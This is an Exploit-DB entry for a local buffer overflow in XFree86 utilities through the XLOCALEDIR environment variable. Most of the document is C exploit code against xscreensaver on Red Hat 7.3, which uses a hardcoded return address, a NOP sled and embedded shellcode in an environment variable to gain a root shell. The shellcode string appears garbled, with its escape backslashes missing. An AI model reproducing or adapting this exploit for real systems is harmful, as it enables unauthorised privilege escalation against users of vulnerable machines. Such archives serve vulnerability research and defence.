https://www.exploit-db.com/exploits/22321

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/7002/info
 
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
 
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.

/*
**
** Tested on rh 7.3 using XFree86
** xscreensaver vulnerability
** AUTHORS: Angelo Rosiello (Guilecool) & deka
** REQUIRES: X must be run!
** EFFECTS: local root exploit!
**
** deka is leet brother, thank you :>
** MAIL: [email protected]
**
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RETADDR 0xbfffdf20 //change it if u need

char shellcode[] =
 "x55x89xe5x55x89xe5x83xecx28xc6x45xd8x2fxc6x45xdc"
 "x2fxc6x45xd9x5fxc6x45xdax5axc6x45xdbx5fxc6x45xdd"
 "x5fxc6x45xdex5fx83x45xd9x03x83x45xdax0fx83x45xdb"
 "x0fx83x45xddx14x83x45xdex09x31xc0x89x45xdfx89x45"
 "xf4x8dx45xd8x89x45xf0x83xecx04x8dx45xf0x31xd2x89"
 "xd3x89xc1x8bx45xf0x89xc3x31xc0x83xc0x0bxcdx80x31"
 "xc0x40xcdx80";

int main()
{
        char buf[4076];
        unsigned long retaddr = RETADDR;

        memset(buf, 0x0, 4076);
        memset(buf, 0x41, 4072);
        memcpy(buf+2076, &retaddr, 0x4);
        setenv("XLOCALEDIR", buf, 1);
        memset(buf, 0x90, 4072);
        memcpy((buf+4072-strlen(shellcode)), shellcode, strlen
(shellcode));
        setenv("HAXHAX", buf, 1);
        execl("/usr/X11R6/bin/xscreensaver", "xscreensaver", 0);
}